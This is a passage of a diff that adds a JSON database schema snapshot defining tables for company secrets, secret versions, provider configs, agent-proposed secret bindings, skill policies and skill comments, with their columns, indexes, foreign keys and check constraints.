+          "name": "proposer_ancestor_ids_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_ancestor_ids_snapshot": {
+          "name": "target_ancestor_ids_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposed_by_agent_id": {
+          "name": "proposed_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "interaction_id": {
+          "name": "interaction_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolution_reason": {
+          "name": "resolution_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_secret_id": {
+          "name": "created_secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "applied_binding_config_path": {
+          "name": "applied_binding_config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "ciphertext_scrubbed_at": {
+          "name": "ciphertext_scrubbed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secret_proposals_company_status_idx": {
+          "name": "company_secret_proposals_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_proposals_proposer_status_idx": {
+          "name": "company_secret_proposals_proposer_status_idx",
+          "columns": [
+            {
+              "expression": "proposed_by_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_proposals_expiry_idx": {
+          "name": "company_secret_proposals_expiry_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_proposals_secret_proposal_idx": {
+          "name": "company_secret_proposals_secret_proposal_idx",
+          "columns": [
+            {
+              "expression": "secret_proposal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_proposals_interaction_idx": {
+          "name": "company_secret_proposals_interaction_idx",
+          "columns": [
+            {
+              "expression": "interaction_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_proposals_company_id_companies_id_fk": {
+          "name": "company_secret_proposals_company_id_companies_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_proposals_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_secret_proposal_id_company_secret_proposals_id_fk": {
+          "name": "company_secret_proposals_secret_proposal_id_company_secret_proposals_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "company_secret_proposals",
+          "columnsFrom": [
+            "secret_proposal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_target_id_agents_id_fk": {
+          "name": "company_secret_proposals_target_id_agents_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "target_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_proposed_by_agent_id_agents_id_fk": {
+          "name": "company_secret_proposals_proposed_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "proposed_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_origin_issue_id_issues_id_fk": {
+          "name": "company_secret_proposals_origin_issue_id_issues_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "origin_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_origin_run_id_heartbeat_runs_id_fk": {
+          "name": "company_secret_proposals_origin_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "origin_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_interaction_id_issue_thread_interactions_id_fk": {
+          "name": "company_secret_proposals_interaction_id_issue_thread_interactions_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "issue_thread_interactions",
+          "columnsFrom": [
+            "interaction_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_created_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_proposals_created_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "created_secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "company_secret_proposals_kind_check": {
+          "name": "company_secret_proposals_kind_check",
+          "value": "\"company_secret_proposals\".\"kind\" in ('secret', 'binding')"
+        },
+        "company_secret_proposals_status_check": {
+          "name": "company_secret_proposals_status_check",
+          "value": "\"company_secret_proposals\".\"status\" in ('pending', 'approved', 'rejected', 'withdrawn', 'expired')"
+        },
+        "company_secret_proposals_projection_check": {
+          "name": "company_secret_proposals_projection_check",
+          "value": "\"company_secret_proposals\".\"projection_class\" = 'unclassified'"
+        },
+        "company_secret_proposals_shape_check": {
+          "name": "company_secret_proposals_shape_check",
+          "value": "(\n      \"company_secret_proposals\".\"kind\" = 'secret'\n      and \"company_secret_proposals\".\"proposed_name\" is not null\n      and \"company_secret_proposals\".\"proposed_key\" is not null\n      and \"company_secret_proposals\".\"secret_id\" is null\n      and \"company_secret_proposals\".\"secret_proposal_id\" is null\n      and \"company_secret_proposals\".\"target_type\" is null\n      and \"company_secret_proposals\".\"target_id\" is null\n      and \"company_secret_proposals\".\"config_path\" is null\n    ) or (\n      \"company_secret_proposals\".\"kind\" = 'binding'\n      and ((\"company_secret_proposals\".\"secret_id\" is not null)::int + (\"company_secret_proposals\".\"secret_proposal_id\" is not null)::int) = 1\n      and \"company_secret_proposals\".\"target_type\" = 'agent'\n      and \"company_secret_proposals\".\"target_id\" is not null\n      and \"company_secret_proposals\".\"config_path\" is not null\n    )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.company_secret_provider_configs": {
+      "name": "company_secret_provider_configs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "display_name": {
+          "name": "display_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'ready'"
+        },
+        "is_default": {
+          "name": "is_default",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_checked_at": {
+          "name": "health_checked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_message": {
+          "name": "health_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_details": {
+          "name": "health_details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "disabled_at": {
+          "name": "disabled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secret_provider_configs_company_idx": {
+          "name": "company_secret_provider_configs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_provider_configs_company_provider_idx": {
+          "name": "company_secret_provider_configs_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_provider_configs_default_uq": {
+          "name": "company_secret_provider_configs_default_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secret_provider_configs\".\"is_default\" = true",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_provider_configs_company_id_companies_id_fk": {
+          "name": "company_secret_provider_configs_company_id_companies_id_fk",
+          "tableFrom": "company_secret_provider_configs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_provider_configs_created_by_agent_id_agents_id_fk": {
+          "name": "company_secret_provider_configs_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secret_provider_configs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secret_versions": {
+      "name": "company_secret_versions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "material": {
+          "name": "material",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value_sha256": {
+          "name": "value_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_version_ref": {
+          "name": "provider_version_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'current'"
+        },
+        "fingerprint_sha256": {
+          "name": "fingerprint_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "rotation_job_id": {
+          "name": "rotation_job_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "company_secret_versions_secret_idx": {
+          "name": "company_secret_versions_secret_idx",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_versions_value_sha256_idx": {
+          "name": "company_secret_versions_value_sha256_idx",
+          "columns": [
+            {
+              "expression": "value_sha256",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_versions_fingerprint_idx": {
+          "name": "company_secret_versions_fingerprint_idx",
+          "columns": [
+            {
+              "expression": "fingerprint_sha256",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_versions_secret_version_uq": {
+          "name": "company_secret_versions_secret_version_uq",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "version",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_versions_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_versions_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_versions",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_versions_created_by_agent_id_agents_id_fk": {
+          "name": "company_secret_versions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secret_versions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secrets": {
+      "name": "company_secrets",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope": {
+          "name": "scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_secret_definition_id": {
+          "name": "user_secret_definition_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_encrypted'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "managed_mode": {
+          "name": "managed_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip_managed'"
+        },
+        "external_ref": {
+          "name": "external_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_config_id": {
+          "name": "provider_config_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_metadata": {
+          "name": "provider_metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_version": {
+          "name": "latest_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_resolved_at": {
+          "name": "last_resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_rotated_at": {
+          "name": "last_rotated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secrets_company_idx": {
+          "name": "company_secrets_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_scope_idx": {
+          "name": "company_secrets_company_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_owner_idx": {
+          "name": "company_secrets_company_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_user_definition_owner_idx": {
+          "name": "company_secrets_user_definition_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_provider_idx": {
+          "name": "company_secrets_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_provider_config_idx": {
+          "name": "company_secrets_provider_config_idx",
+          "columns": [
+            {
+              "expression": "provider_config_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_name_uq": {
+          "name": "company_secrets_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secrets\".\"scope\" = 'company' and \"company_secrets\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_key_uq": {
+          "name": "company_secrets_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secrets\".\"scope\" = 'company' and \"company_secrets\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_user_definition_owner_uq": {
+          "name": "company_secrets_user_definition_owner_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secrets\".\"scope\" = 'user' and \"company_secrets\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secrets_company_id_companies_id_fk": {
+          "name": "company_secrets_company_id_companies_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_secrets_user_secret_definition_id_user_secret_definitions_id_fk": {
+          "name": "company_secrets_user_secret_definition_id_user_secret_definitions_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "user_secret_definitions",
+          "columnsFrom": [
+            "user_secret_definition_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secrets_provider_config_id_company_secret_provider_configs_id_fk": {
+          "name": "company_secrets_provider_config_id_company_secret_provider_configs_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "company_secret_provider_configs",
+          "columnsFrom": [
+            "provider_config_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secrets_created_by_agent_id_agents_id_fk": {
+          "name": "company_secrets_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "company_secrets_scope_shape_check": {
+          "name": "company_secrets_scope_shape_check",
+          "value": "(\n        \"company_secrets\".\"scope\" = 'company'\n        and \"company_secrets\".\"owner_user_id\" is null\n        and \"company_secrets\".\"user_secret_definition_id\" is null\n      ) or (\n        \"company_secrets\".\"scope\" = 'user'\n        and \"company_secrets\".\"owner_user_id\" is not null\n        and \"company_secrets\".\"user_secret_definition_id\" is not null\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.company_skill_policies": {
+      "name": "company_skill_policies",
+      "schema": "",
+      "columns": {
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "schema_version": {
+          "name": "schema_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "revision": {
+          "name": "revision",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "default_effect": {
+          "name": "default_effect",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "rules": {
+          "name": "rules",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {
+        "company_skill_policies_company_id_companies_id_fk": {
+          "name": "company_skill_policies_company_id_companies_id_fk",
+          "tableFrom": "company_skill_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_comments": {
+      "name": "company_skill_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_skill_id": {
+          "name": "company_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "parent_comment_id": {
+          "name": "parent_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_comments_company_skill_created_idx": {
+          "name": "company_skill_comments_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_comments_parent_idx": {
+          "name": "company_skill_comments_parent_idx",
+          "columns": [
+            {
+              "expression": "parent_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_comments_company_id_companies_id_fk": {
+          "name": "company_skill_comments_company_id_companies_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
